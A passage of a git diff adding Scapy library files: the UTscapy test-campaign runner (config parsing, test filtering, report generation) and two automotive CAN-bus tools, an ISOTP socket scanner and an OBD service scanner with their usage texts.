json to get configuration + Empty default json: + { + "testfiles": [], + "breakfailed": true, + "onlyfailed": false, + "verb": 3, + "dump": 0, + "docs": 0, + "crc": true, + "preexec": {}, + "global_preexec": "", + "outputfile": null, + "local": true, + "format": "ansi", + "num": null, + "modules": [], + "kw_ok": [], + "kw_ko": [] + } + + """ + with open(config_path) as config_file: + data = json.load(config_file) + if verb > 2: + print("### Loaded config file", config_path, file=sys.stderr) + + def get_if_exist(key, default): + return data[key] if key in data else default + return Bunch(testfiles=get_if_exist("testfiles", []), + breakfailed=get_if_exist("breakfailed", True), + remove_testfiles=get_if_exist("remove_testfiles", []), + onlyfailed=get_if_exist("onlyfailed", False), + verb=get_if_exist("verb", 3), + dump=get_if_exist("dump", 0), crc=get_if_exist("crc", 1), + docs=get_if_exist("docs", 0), + preexec=get_if_exist("preexec", {}), + global_preexec=get_if_exist("global_preexec", ""), + outfile=get_if_exist("outputfile", sys.stdout), + local=get_if_exist("local", False), + num=get_if_exist("num", None), + modules=get_if_exist("modules", []), + kw_ok=get_if_exist("kw_ok", []), + kw_ko=get_if_exist("kw_ko", []), + format=get_if_exist("format", "ansi")) + +# PARSE CAMPAIGN # + + +def parse_campaign_file(campaign_file): + test_campaign = TestCampaign("Test campaign") + test_campaign.filename = campaign_file.name + testset = None + test = None + testnb = 0 + + for l in campaign_file.readlines(): + if l[0] == '#': + continue + if l[0] == "~": + (test or testset or test_campaign).add_keywords(l[1:].split()) + elif l[0] == "%": + test_campaign.title = l[1:].strip() + elif l[0] == "+": + testset = TestSet(l[1:].strip()) + test_campaign.add_testset(testset) + test = None + elif l[0] == "=": + test = UnitTest(l[1:].strip()) + test.num = testnb + testnb += 1 + if testset is None: + error_m = "Please create a test set (i.e. '+' section)." + raise getopt.GetoptError(error_m) + testset.add_test(test) + elif l[0] == "*": + if test is not None: + test.comments += l[1:] + elif testset is not None: + testset.comments += l[1:] + else: + test_campaign.headcomments += l[1:] + else: + if test is None: + if l.strip(): + print("Unknown content [%s]" % l.strip(), file=sys.stderr) + else: + test.test += l + return test_campaign + + +def dump_campaign(test_campaign): + print("#" * (len(test_campaign.title) + 6)) + print("## %(title)s ##" % test_campaign) + print("#" * (len(test_campaign.title) + 6)) + if test_campaign.sha and test_campaign.crc: + print("CRC=[%(crc)s] SHA=[%(sha)s]" % test_campaign) + print("from file %(filename)s" % test_campaign) + print() + for ts in test_campaign: + if ts.crc: + print("+--[%s]%s(%s)--" % (ts.name, "-" * max(2, 80 - len(ts.name) - 18), ts.crc)) # noqa: E501 + else: + print("+--[%s]%s" % (ts.name, "-" * max(2, 80 - len(ts.name) - 6))) + if ts.keywords: + print(" kw=%s" % ",".join(ts.keywords)) + for t in ts: + print("%(num)03i %(name)s" % t) + c = k = "" + if t.keywords: + k = "kw=%s" % ",".join(t.keywords) + if t.crc: + c = "[%(crc)s] " % t + if c or k: + print(" %s%s" % (c, k)) + + +def docs_campaign(test_campaign): + print("%(title)s" % test_campaign) + print("=" * (len(test_campaign.title))) + print() + if len(test_campaign.headcomments): + print("%s" % test_campaign.headcomments.strip().replace("\n", "")) + print() + for ts in test_campaign: + print("%s" % ts.name) + print("-" * len(ts.name)) + print() + if len(ts.comments): + print("%s" % ts.comments.strip().replace("\n", "")) + print() + for t in ts: + print("%s" % t.name) + print("^" * len(t.name)) + print() + if len(t.comments): + print("%s" % t.comments.strip().replace("\n", "")) + print() + print("Usage example::") + for l in t.test.split('\n'): + if not l.rstrip().endswith('# no_docs'): + print("\t%s" % l) + + +# COMPUTE CAMPAIGN DIGESTS # +if six.PY2: + def crc32(x): + return "%08X" % (0xffffffff & zlib.crc32(x)) + + def sha1(x): + return hashlib.sha1(x).hexdigest().upper() +else: + def crc32(x): + return "%08X" % (0xffffffff & zlib.crc32(bytearray(x, "utf8"))) + + def sha1(x): + return hashlib.sha1(x.encode("utf8")).hexdigest().upper() + + +def compute_campaign_digests(test_campaign): + dc = "" + for ts in test_campaign: + dts = "" + for t in ts: + dt = t.test.strip() + t.crc = crc32(dt) + dts += "\0" + dt + ts.crc = crc32(dts) + dc += "\0\x01" + dts + test_campaign.crc = crc32(dc) + with open(test_campaign.filename) as fdesc: + test_campaign.sha = sha1(fdesc.read()) + + +# FILTER CAMPAIGN # + +def filter_tests_on_numbers(test_campaign, num): + if num: + for ts in test_campaign: + ts.tests = [t for t in ts.tests if t.num in num] + test_campaign.campaign = [ts for ts in test_campaign.campaign + if ts.tests] + + +def _filter_tests_kw(test_campaign, kw, keep): + def kw_match(lst, kw): + return any(k for k in lst if kw == k) + + if kw: + kw = kw.lower() + if keep: + cond = lambda x: x + else: + cond = lambda x: not x + for ts in test_campaign: + ts.tests = [t for t in ts.tests if cond(kw_match(t.keywords, kw))] + + +def filter_tests_keep_on_keywords(test_campaign, kw): + return _filter_tests_kw(test_campaign, kw, True) + + +def filter_tests_remove_on_keywords(test_campaign, kw): + return _filter_tests_kw(test_campaign, kw, False) + + +def remove_empty_testsets(test_campaign): + test_campaign.campaign = [ts for ts in test_campaign.campaign if ts.tests] + + +# RUN TEST # + +def run_test(test, get_interactive_session, verb=3, ignore_globals=None, my_globals=None): + """An internal UTScapy function to run a single test""" + start_time = time.time() + test.output, res = get_interactive_session(test.test.strip(), ignore_globals=ignore_globals, verb=verb, my_globals=my_globals) + test.result = "failed" + try: + if res is None or res: + test.result = "passed" + if test.output.endswith('KeyboardInterrupt\n'): + test.result = "interrupted" + raise KeyboardInterrupt + except Exception: + test.output += "UTscapy: Error during result interpretation:\n" + test.output += "".join(traceback.format_exception(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2],)) + finally: + test.duration = time.time() - start_time + if test.result == "failed": + from scapy.sendrecv import debug + # Add optional debugging data to log + if debug.crashed_on: + cls, val = debug.crashed_on + test.output += "\n\nPACKET DISSECTION FAILED ON:\n %s(hex_bytes('%s'))" % (cls.__name__, plain_str(bytes_hex(val))) + debug.crashed_on = None + test.decode() + if verb > 2: + print("%(result)6s %(crc)s %(duration)06.2fs %(name)s" % test, file=sys.stderr) + elif verb > 1: + print("%(result)6s %(crc)s %(name)s" % test, file=sys.stderr) + + return bool(test) + +# RUN CAMPAIGN # + + +def import_UTscapy_tools(ses): + """Adds UTScapy tools directly to a session""" + ses["retry_test"] = retry_test + ses["Bunch"] = Bunch + if WINDOWS: + from scapy.arch.windows import _route_add_loopback, IFACES + _route_add_loopback() + ses["IFACES"] = IFACES + ses["conf"].route.routes = conf.route.routes + ses["conf"].route6.routes = conf.route6.routes + + +def run_campaign(test_campaign, get_interactive_session, drop_to_interpreter=False, verb=3, ignore_globals=None): # noqa: E501 + passed = failed = 0 + scapy_ses = importlib.import_module(".all", "scapy").__dict__ + import_UTscapy_tools(scapy_ses) + if test_campaign.preexec: + test_campaign.preexec_output = get_interactive_session(test_campaign.preexec.strip(), ignore_globals=ignore_globals, my_globals=scapy_ses)[0] + # Drop + + def drop(scapy_ses): + code.interact(banner="Test '%s' failed. " + "exit() to stop, Ctrl-D to leave " + "this interpreter and continue " + "with the current test campaign" + % t.name, local=scapy_ses) + + try: + for i, testset in enumerate(test_campaign): + for j, t in enumerate(testset): + if run_test(t, get_interactive_session, verb, my_globals=scapy_ses): + passed += 1 + else: + failed += 1 + if drop_to_interpreter: + drop(scapy_ses) + test_campaign.duration += t.duration + except KeyboardInterrupt: + failed += 1 + testset.trunc(j + 1) + test_campaign.trunc(i + 1) + test_campaign.interrupted = True + if verb: + print("Campaign interrupted!", file=sys.stderr) + if drop_to_interpreter: + drop(scapy_ses) + + test_campaign.passed = passed + test_campaign.failed = failed + if verb > 2: + print("Campaign CRC=%(crc)s in %(duration)06.2fs SHA=%(sha)s" % test_campaign, file=sys.stderr) # noqa: E501 + print("PASSED=%i FAILED=%i" % (passed, failed), file=sys.stderr) + elif verb: + print("Campaign CRC=%(crc)s SHA=%(sha)s" % test_campaign, file=sys.stderr) # noqa: E501 + print("PASSED=%i FAILED=%i" % (passed, failed), file=sys.stderr) + return failed + + +# INFO LINES # + +def info_line(test_campaign): + filename = test_campaign.filename + if filename is None: + return "Run %s by UTscapy" % time.ctime() + else: + return "Run %s from [%s] by UTscapy" % (time.ctime(), filename) + + +def html_info_line(test_campaign): + filename = test_campaign.filename + if filename is None: + return """Run %s by UTscapy
""" % time.ctime() # noqa: E501 + else: + return """Run %s from [%s] by UTscapy
""" % (time.ctime(), filename) # noqa: E501 + + +# CAMPAIGN TO something # + +def campaign_to_TEXT(test_campaign): + output = "%(title)s\n" % test_campaign + output += "-- " + info_line(test_campaign) + "\n\n" + output += "Passed=%(passed)i\nFailed=%(failed)i\n\n%(headcomments)s\n" % test_campaign + + for testset in test_campaign: + if any(t.expand for t in testset): + output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset + for t in testset: + if t.expand: + output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t # noqa: E501 + + return output + + +def campaign_to_ANSI(test_campaign): + return campaign_to_TEXT(test_campaign) + + +def campaign_to_xUNIT(test_campaign): + output = '\n\n' + for testset in test_campaign: + for t in testset: + output += ' %(title)s + +

+""" % test_campaign + + if test_campaign.crc is not None and test_campaign.sha is not None: + output += "CRC=%(crc)s SHA=%(sha)s
" % test_campaign + output += "" + html_info_line(test_campaign) + "" + output += "".join([ + test_campaign.headcomments, + "\n

", + "PASSED=%(passed)i FAILED=%(failed)i" % test_campaign, + " INTERRUPTED!" if test_campaign.interrupted else "", + "

\n\n", + ]) + + for testset in test_campaign: + output += "

" % testset + if testset.crc is not None: + output += "%(crc)s " % testset + output += "%(name)s

\n%(comments)s\n
    \n" % testset + for t in testset: + output += """
  • \n""" % t + if t.expand == 2: + output += """ + +-%(num)03i- +""" % t + else: + output += """ ++%(num)03i+ + +""" % t + if t.crc is not None: + output += "%(crc)s\n" % t + output += """%(name)s\n +""" % t + output += "\n
\n\n" + return output + + +def pack_html_campaigns(runned_campaigns, data, local=False, title=None): + output = """ + + +%(title)s +

UTScapy tests

+ +Shrink All +Expand All +Expand Passed +Expand Failed + +

+""" + for test_campaign in runned_campaigns: + for ts in test_campaign: + for t in ts: + output += """%(num)03i\n""" % t + + output += """

\n\n + + + + +%(data)s + +""" + out_dict = {'data': data, 'title': title if title else "UTScapy tests"} + if local: + dirname = os.path.dirname(test_campaign.output_file) + External_Files.UTscapy_js.write(dirname) + External_Files.UTscapy_css.write(dirname) + out_dict.update(External_Files.get_local_dict()) + else: + out_dict.update(External_Files.get_URL_dict()) + + output %= out_dict + return output + + +def campaign_to_LATEX(test_campaign): + output = r"""\documentclass{report} +\usepackage{alltt} +\usepackage{xcolor} +\usepackage{a4wide} +\usepackage{hyperref} + +\title{%(title)s} +\date{%%s} + +\begin{document} +\maketitle +\tableofcontents + +\begin{description} +\item[Passed:] %(passed)i +\item[Failed:] %(failed)i +\end{description} + +%(headcomments)s + +""" % test_campaign + output %= info_line(test_campaign) + + for testset in test_campaign: + output += "\\chapter{%(name)s}\n\n%(comments)s\n\n" % testset + for t in testset: + if t.expand: + output += r"""\section{%(name)s} + +[%(num)03i] [%(result)s] + +%(comments)s +\begin{alltt} +%(output)s +\end{alltt} + +""" % t + + output += "\\end{document}\n" + return output + + +# USAGE # + +def usage(): + print("""Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX|live}] [-o output_file] + [-t testfile] [-T testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] + [-l] [-b] [-d|-D] [-F] [-q[q]] [-i] [-P preexecute_python_code] + [-c configfile] +-t\t\t: provide test files (can be used many times) +-T\t\t: if -t is used with *, remove a specific file (can be used many times) +-l\t\t: generate local .js and .css files +-F\t\t: expand only failed tests +-b\t\t: don't stop at the first failed campaign +-d\t\t: dump campaign +-D\t\t: dump campaign and stop +-R\t\t: dump campaign as reStructuredText +-C\t\t: don't calculate CRC and SHA +-c\t\t: load a .utsc config file +-i\t\t: drop into Python interpreter if test failed +-q\t\t: quiet mode +-qq\t\t: [silent mode] +-x\t\t: use pyannotate +-n \t: only tests whose numbers are given (eg. 1,3-7,12) +-N\t\t: force non root +-m \t: additional module to put in the namespace +-k ,,...\t: include only tests with one of those keywords (can be used many times) +-K ,,...\t: remove tests with one of those keywords (can be used many times) +-P +""", file=sys.stderr) + raise SystemExit + + +# MAIN # + +def execute_campaign(TESTFILE, OUTPUTFILE, PREEXEC, NUM, KW_OK, KW_KO, DUMP, DOCS, + FORMAT, VERB, ONLYFAILED, CRC, INTERPRETER, autorun_func, pos_begin=0, ignore_globals=None): # noqa: E501 + # Parse test file + test_campaign = parse_campaign_file(TESTFILE) + + # Report parameters + if PREEXEC: + test_campaign.preexec = PREEXEC + + # Compute campaign CRC and SHA + if CRC: + compute_campaign_digests(test_campaign) + + # Filter out unwanted tests + filter_tests_on_numbers(test_campaign, NUM) + for k in KW_OK: + filter_tests_keep_on_keywords(test_campaign, k) + for k in KW_KO: + filter_tests_remove_on_keywords(test_campaign, k) + + remove_empty_testsets(test_campaign) + + # Dump campaign + if DUMP: + dump_campaign(test_campaign) + if DUMP > 1: + sys.exit() + + # Dump campaign as reStructuredText + if DOCS: + docs_campaign(test_campaign) + sys.exit() + + # Run tests + test_campaign.output_file = OUTPUTFILE + result = run_campaign(test_campaign, autorun_func[FORMAT], drop_to_interpreter=INTERPRETER, verb=VERB, ignore_globals=None) # noqa: E501 + + # Shrink passed + if ONLYFAILED: + for t in test_campaign.all_tests(): + if t: + t.expand = 0 + else: + t.expand = 2 + + # Generate report + if FORMAT == Format.TEXT: + output = campaign_to_TEXT(test_campaign) + elif FORMAT == Format.ANSI: + output = campaign_to_ANSI(test_campaign) + elif FORMAT == Format.HTML: + test_campaign.startNum(pos_begin) + output = campaign_to_HTML(test_campaign) + elif FORMAT == Format.LATEX: + output = campaign_to_LATEX(test_campaign) + elif FORMAT == Format.XUNIT: + output = campaign_to_xUNIT(test_campaign) + elif FORMAT == Format.LIVE: + output = "" + + return output, (result == 0), test_campaign + + +def resolve_testfiles(TESTFILES): + for tfile in TESTFILES[:]: + if "*" in tfile: + TESTFILES.remove(tfile) + TESTFILES.extend(glob.glob(tfile)) + return TESTFILES + + +def main(): + argv = sys.argv[1:] + logger = logging.getLogger("scapy") + logger.addHandler(logging.StreamHandler()) + ignore_globals = list(six.moves.builtins.__dict__) + + # Parse arguments + + FORMAT = Format.ANSI + OUTPUTFILE = sys.stdout + LOCAL = 0 + NUM = None + NON_ROOT = False + KW_OK = [] + KW_KO = [] + DUMP = 0 + DOCS = 0 + CRC = True + BREAKFAILED = True + ONLYFAILED = False + VERB = 3 + GLOB_PREEXEC = "" + PREEXEC_DICT = {} + MODULES = [] + TESTFILES = [] + ANNOTATIONS_MODE = False + INTERPRETER = False + try: + opts = getopt.getopt(argv, "o:t:T:c:f:hbln:m:k:K:DRdCiFqNP:s:x") + for opt, optarg in opts[0]: + if opt == "-h": + usage() + elif opt == "-b": + BREAKFAILED = False + elif opt == "-F": + ONLYFAILED = True + elif opt == "-q": + VERB -= 1 + elif opt == "-D": + DUMP = 2 + elif opt == "-R": + DOCS = 1 + elif opt == "-d": + DUMP = 1 + elif opt == "-C": + CRC = False + elif opt == "-i": + INTERPRETER = True + elif opt == "-x": + ANNOTATIONS_MODE = True + elif opt == "-P": + GLOB_PREEXEC += "\n" + optarg + elif opt == "-f": + try: + FORMAT = Format.from_string(optarg) + except KeyError as msg: + raise getopt.GetoptError("Unknown output format %s" % msg) + elif opt == "-t": + TESTFILES.append(optarg) + TESTFILES = resolve_testfiles(TESTFILES) + elif opt == "-T": + TESTFILES.remove(optarg) + elif opt == "-c": + data = parse_config_file(optarg, VERB) + BREAKFAILED = data.breakfailed + ONLYFAILED = data.onlyfailed + VERB = data.verb + DUMP = data.dump + CRC = data.crc + PREEXEC_DICT = data.preexec + GLOB_PREEXEC = data.global_preexec + OUTPUTFILE = data.outfile + TESTFILES = data.testfiles + LOCAL = 1 if data.local else 0 + NUM = data.num + MODULES = data.modules + KW_OK.extend(data.kw_ok) + KW_KO.extend(data.kw_ko) + try: + FORMAT = Format.from_string(data.format) + except KeyError as msg: + raise getopt.GetoptError("Unknown output format %s" % msg) + TESTFILES = resolve_testfiles(TESTFILES) + for testfile in resolve_testfiles(data.remove_testfiles): + try: + TESTFILES.remove(testfile) + except ValueError: + error_m = "Cannot remove %s from test files" % testfile + raise getopt.GetoptError(error_m) + elif opt == "-o": + OUTPUTFILE = optarg + if not os.access(os.path.dirname(os.path.abspath(OUTPUTFILE)), os.W_OK): + raise getopt.GetoptError("Cannot write to file %s" % OUTPUTFILE) + elif opt == "-l": + LOCAL = 1 + elif opt == "-n": + NUM = [] + for v in (x.strip() for x in optarg.split(",")): + try: + NUM.append(int(v)) + except ValueError: + v1, v2 = [int(e) for e in v.split('-', 1)] + NUM.extend(range(v1, v2 + 1)) + elif opt == "-N": + NON_ROOT = True + elif opt == "-m": + MODULES.append(optarg) + elif opt == "-k": + KW_OK.extend(optarg.split(",")) + elif opt == "-K": + KW_KO.extend(optarg.split(",")) + + # Disable tests if needed + + # Discard Python3 tests when using Python2 + if six.PY2: + KW_KO.append("python3_only") + if VERB > 2: + print("### Python 2 mode ###") + try: + if NON_ROOT or os.getuid() != 0: # Non root + # Discard root tests + KW_KO.append("netaccess") + KW_KO.append("needs_root") + if VERB > 2: + print("### Non-root mode ###") + except AttributeError: + pass + + if conf.use_pcap: + KW_KO.append("not_pcapdnet") + if VERB > 2: + print("### libpcap mode ###") + + # Process extras + if six.PY3: + KW_KO.append("FIXME_py3") + + if ANNOTATIONS_MODE: + try: + from pyannotate_runtime import collect_types + except ImportError: + raise ImportError("Please install pyannotate !") + collect_types.init_types_collection() + collect_types.start() + + if VERB > 2: + print("### Booting scapy...", file=sys.stderr) + try: + from scapy import all as scapy + except Exception as e: + print("[CRITICAL]: Cannot import Scapy: %s" % e, file=sys.stderr) + traceback.print_exc() + sys.exit(1) # Abort the tests + + for m in MODULES: + try: + mod = import_module(m) + six.moves.builtins.__dict__.update(mod.__dict__) + except ImportError as e: + raise getopt.GetoptError("cannot import [%s]: %s" % (m, e)) + + # Add SCAPY_ROOT_DIR environment variable, used for tests + os.environ['SCAPY_ROOT_DIR'] = os.environ.get("PWD", os.getcwd()) + + except getopt.GetoptError as msg: + print("ERROR:", msg, file=sys.stderr) + raise SystemExit + + autorun_func = { + Format.TEXT: scapy.autorun_get_text_interactive_session, + Format.ANSI: scapy.autorun_get_ansi_interactive_session, + Format.HTML: scapy.autorun_get_html_interactive_session, + Format.LATEX: scapy.autorun_get_latex_interactive_session, + Format.XUNIT: scapy.autorun_get_text_interactive_session, + Format.LIVE: scapy.autorun_get_live_interactive_session, + } + + if VERB > 2: + print("### Starting tests...", file=sys.stderr) + + glob_output = "" + glob_result = 0 + glob_title = None + + UNIQUE = len(TESTFILES) == 1 + + # Resolve tags and asterix + for prex in six.iterkeys(copy.copy(PREEXEC_DICT)): + if "*" in prex: + pycode = PREEXEC_DICT[prex] + del PREEXEC_DICT[prex] + for gl in glob.iglob(prex): + _pycode = pycode.replace("%name%", os.path.splitext(os.path.split(gl)[1])[0]) # noqa: E501 + PREEXEC_DICT[gl] = _pycode + + pos_begin = 0 + + runned_campaigns = [] + # Execute all files + for TESTFILE in TESTFILES: + if VERB > 2: + print("### Loading:", TESTFILE, file=sys.stderr) + PREEXEC = PREEXEC_DICT[TESTFILE] if TESTFILE in PREEXEC_DICT else GLOB_PREEXEC + with open(TESTFILE) as testfile: + output, result, campaign = execute_campaign(testfile, OUTPUTFILE, + PREEXEC, NUM, KW_OK, KW_KO, + DUMP, DOCS, FORMAT, VERB, ONLYFAILED, + CRC, INTERPRETER, autorun_func, pos_begin, + ignore_globals) + runned_campaigns.append(campaign) + pos_begin = campaign.end_pos + if UNIQUE: + glob_title = campaign.title + glob_output += output + if not result: + glob_result = 1 + if BREAKFAILED: + break + + if VERB > 2: + print("### Writing output...", file=sys.stderr) + + if ANNOTATIONS_MODE: + collect_types.stop() + collect_types.dump_stats("pyannotate_results") + + # Concenate outputs + if FORMAT == Format.HTML: + glob_output = pack_html_campaigns(runned_campaigns, glob_output, LOCAL, glob_title) + + # Write the final output + # Note: on Python 2, we force-encode to ignore ascii errors + # on Python 3, we need to detect the type of stream + if OUTPUTFILE == sys.stdout: + OUTPUTFILE.write(glob_output.encode("utf8", "ignore") + if 'b' in OUTPUTFILE.mode or six.PY2 else glob_output) + else: + with open(OUTPUTFILE, "wb") as f: + f.write(glob_output.encode("utf8", "ignore") + if 'b' in f.mode or six.PY2 else glob_output) + + # Delete scapy's test environment vars + del os.environ['SCAPY_ROOT_DIR'] + + # Return state + return glob_result + + +if __name__ == "__main__": + if sys.warnoptions: + with warnings.catch_warnings(record=True) as cw: + warnings.resetwarnings() + # Let's discover the garbage waste + warnings.simplefilter('error') + print("### Warning mode enabled ###") + res = main() + if cw: + res = 1 + sys.exit(res) + else: + sys.exit(main()) diff --git a/libs/scapy/tools/__init__.py b/libs/scapy/tools/__init__.py new file mode 100755 index 0000000..d15bc44 --- /dev/null +++ b/libs/scapy/tools/__init__.py @@ -0,0 +1,8 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Additional tools to be run separately +""" diff --git a/libs/scapy/tools/automotive/__init__.py b/libs/scapy/tools/automotive/__init__.py new file mode 100755 index 0000000..df11c66 --- /dev/null +++ b/libs/scapy/tools/automotive/__init__.py @@ -0,0 +1,8 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +""" +Automotive related tools to be run separately +""" diff --git a/libs/scapy/tools/automotive/isotpscanner.py b/libs/scapy/tools/automotive/isotpscanner.py new file mode 100755 index 0000000..e991f88 --- /dev/null +++ b/libs/scapy/tools/automotive/isotpscanner.py @@ -0,0 +1,202 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# Copyright (C) Alexander Schroeder +# This program is published under a GPLv2 license + +from __future__ import print_function + +import getopt +import sys +import signal +import re + +from ast import literal_eval + +import scapy.modules.six as six +from scapy.config import conf +from scapy.consts import LINUX + +if six.PY2 or not LINUX or conf.use_pypy: + conf.contribs['CANSocket'] = {'use-python-can': True} + +from scapy.contrib.cansocket import CANSocket, PYTHON_CAN # noqa: E402 +from scapy.contrib.isotp import ISOTPScan # noqa: E402 + + +def signal_handler(sig, frame): + print('Interrupting scan!') + sys.exit(0) + + +def usage(is_error): + print('''usage:\tisotpscanner [-i interface] [-c channel] + [-a python-can_args] [-n NOISE_LISTEN_TIME] [-t SNIFF_TIME] + [-x|--extended] [-C|--piso] [-v|--verbose] [-h|--help] + [-s start] [-e end]\n + Scan for open ISOTP-Sockets.\n + required arguments: + -c, --channel python-can channel or Linux SocketCAN interface name + -s, --start Start scan at this identifier (hex) + -e, --end End scan at this identifier (hex)\n + additional required arguments for WINDOWS or Python 2: + -i, --interface python-can interface for the scan. + Depends on used interpreter and system, + see examples below. Any python-can interface can + be provided. Please see: + https://python-can.readthedocs.io for + further interface examples. + optional arguments: + -a, --python-can_args Additional arguments for a python-can Bus object.\n + -h, --help show this help message and exit + -n NOISE_LISTEN_TIME, --noise_listen_time NOISE_LISTEN_TIME + Seconds listening for noise before scan. + -t SNIFF_TIME, --sniff_time SNIFF_TIME + Duration in milliseconds a sniff is waiting for a + flow-control response. + -x, --extended Scan with ISOTP extended addressing. + This has nothing to do with extended CAN identifiers + -C, --piso Print 'Copy&Paste'-ready ISOTPSockets. + -v, --verbose Display information during scan.\n + --extended_can_id Use extended CAN identifiers + Example of use:\n + Python2 or Windows: + python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 --start 0 --end 100 + python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 -a 'bitrate=500000 fd=True' --start 0 --end 100 + python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --start 0 --end 100 + python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --python-can_args 'bitrate=500000, poll_interval=1' --start 0 --end 100 + python2 -m scapy.tools.automotive.isotpscanner --interface socketcan --channel=can0 --start 0 --end 100\n + Python3 on Linux: + python3 -m scapy.tools.automotive.isotpscanner --channel can0 --start 0 --end 100 \n''', # noqa: E501 + file=sys.stderr if is_error else sys.stdout) + + +def main(): + extended = False + piso = False + verbose = False + extended_can_id = False + sniff_time = 100 + noise_listen_time = 2 + start = None + end = None + channel = None + interface = None + python_can_args = None + + options = getopt.getopt( + sys.argv[1:], + 'vxCt:n:i:c:a:s:e:h:w', + ['verbose', 'noise_listen_time=', 'sniff_time=', 'interface=', 'piso', + 'channel=', 'python-can_args=', 'start=', 'end=', 'help', 'extended', + 'extended_can_id']) + + try: + for opt, arg in options[0]: + if opt in ('-v', '--verbose'): + verbose = True + elif opt in ('-x', '--extended'): + extended = True + elif opt in ('-C', '--piso'): + piso = True + elif opt in ('-h', '--help'): + usage(False) + sys.exit(0) + elif opt in ('-t', '--sniff_time'): + sniff_time = int(arg) + elif opt in ('-n', '--noise_listen_time'): + noise_listen_time = int(arg) + elif opt in ('-i', '--interface'): + interface = arg + elif opt in ('-c', '--channel'): + channel = arg + elif opt in ('-a', '--python-can_args'): + python_can_args = arg + elif opt in ('-s', '--start'): + start = int(arg, 16) + elif opt in ('-e', '--end'): + end = int(arg, 16) + elif opt in '--extended_can_id': + extended_can_id = True + except getopt.GetoptError as msg: + usage(True) + print("ERROR:", msg, file=sys.stderr) + raise SystemExit + + if start is None or \ + end is None or \ + channel is None or \ + (PYTHON_CAN and interface is None): + usage(True) + print("\nPlease provide all required arguments.\n", file=sys.stderr) + sys.exit(1) + + if end >= 2**29 or start >= 2**29: + print("Argument 'start' and 'end' must be < " + hex(2**29), + file=sys.stderr) + sys.exit(1) + + if not extended_can_id and (end >= 0x800 or start >= 0x800): + print("Standard can identifiers must be < 0x800.\n" + "Use --extended_can_id option to scan with " + "extended CAN identifiers.", + file=sys.stderr) + sys.exit(1) + + if end < start: + print("start must be equal or smaller than end.", file=sys.stderr) + sys.exit(1) + + sock = None + + try: + if PYTHON_CAN: + if python_can_args: + interface_string = "CANSocket(bustype=" \ + "'%s', channel='%s', %s)" % \ + (interface, channel, python_can_args) + arg_dict = dict((k, literal_eval(v)) for k, v in + (pair.split('=') for pair in + re.split(', | |,', python_can_args))) + sock = CANSocket(bustype=interface, channel=channel, + **arg_dict) + else: + interface_string = "CANSocket(bustype=" \ + "'%s', channel='%s')" % \ + (interface, channel) + sock = CANSocket(bustype=interface, channel=channel) + else: + sock = CANSocket(channel=channel) + interface_string = "\"%s\"" % channel + + if verbose: + print("Start scan (%s - %s)" % (hex(start), hex(end))) + + signal.signal(signal.SIGINT, signal_handler) + + result = ISOTPScan(sock, + range(start, end + 1), + extended_addressing=extended, + noise_listen_time=noise_listen_time, + sniff_time=float(sniff_time) / 1000, + output_format="code" if piso else "text", + can_interface=interface_string, + extended_can_id=extended_can_id, + verbose=verbose) + + print("Scan: \n%s" % result) + + except Exception as e: + usage(True) + print("\nSocket couldn't be created. Check your arguments.\n", + file=sys.stderr) + print(e, file=sys.stderr) + sys.exit(1) + + finally: + if sock is not None: + sock.close() + + +if __name__ == '__main__': + main() diff --git a/libs/scapy/tools/automotive/obdscanner.py b/libs/scapy/tools/automotive/obdscanner.py new file mode 100755 index 0000000..2587a98 --- /dev/null +++ b/libs/scapy/tools/automotive/obdscanner.py @@ -0,0 +1,169 @@ +#! /usr/bin/env python + +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Friedrich Feigel +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +from __future__ import print_function + +import getopt +import sys +import signal +import re + +from ast import literal_eval + +import scapy.modules.six as six +from scapy.config import conf +from scapy.consts import LINUX + +if six.PY2 or not LINUX or conf.use_pypy: + conf.contribs['CANSocket'] = {'use-python-can': True} + +from scapy.contrib.isotp import ISOTPSocket # noqa: E402 +from scapy.contrib.cansocket import CANSocket, PYTHON_CAN # noqa: E402 +from scapy.contrib.automotive.obd.obd import OBD # noqa: E402 +from scapy.contrib.automotive.obd.scanner import obd_scan # noqa: E402 + + +def signal_handler(sig, frame): + print('Interrupting scan!') + sys.exit(0) + + +def usage(is_error): + print('''usage:\tobdscanner [-i|--interface] [-c|--channel] [-b|--bitrate] + [-a|--python-can_args] [-h|--help] + [-s|--source] [-d|--destination] + [-t|--timeout] [-r|--supported] + [-u|--unsupported] [-v|--verbose]\n + Scan for all possible obd service classes and their subfunctions.\n + optional arguments: + -c, --channel python-can channel or Linux SocketCAN interface name\n + additional required arguments for WINDOWS or Python 2: + -i, --interface python-can interface for the scan. + Depends on used interpreter and system, + see examples below. Any python-can interface can + be provided. Please see: + https://python-can.readthedocs.io for + further interface examples. + optional arguments: + -a, --python-can_args Additional arguments for a python-can Bus object. + -h, --help show this help message and exit + -s, --source ISOTP-socket source id (hex) + -d, --destination ISOTP-socket destination id (hex) + -t, --timeout Timeout after which the scanner proceeds to next service [seconds] + -r, --supported Check for supported id services + -u, --unsupported Check for unsupported id services + -v, --verbose Display information during scan\n + Example of use:\n + Python2 or Windows: + python2 -m scapy.tools.automotive.obdscanner --interface=pcan --channel=PCAN_USBBUS1 --source=0x070 --destination 0x034 + python2 -m scapy.tools.automotive.obdscanner --interface vector --channel 0 --source 0x000 --destination 0x734 + python2 -m scapy.tools.automotive.obdscanner --interface socketcan --channel=can0 --source 0x089 --destination 0x234 + python2 -m scapy.tools.automotive.obdscanner --interface vector --channel 0 --python-can_args 'bitrate=500000, poll_interval=1' --source=0x070 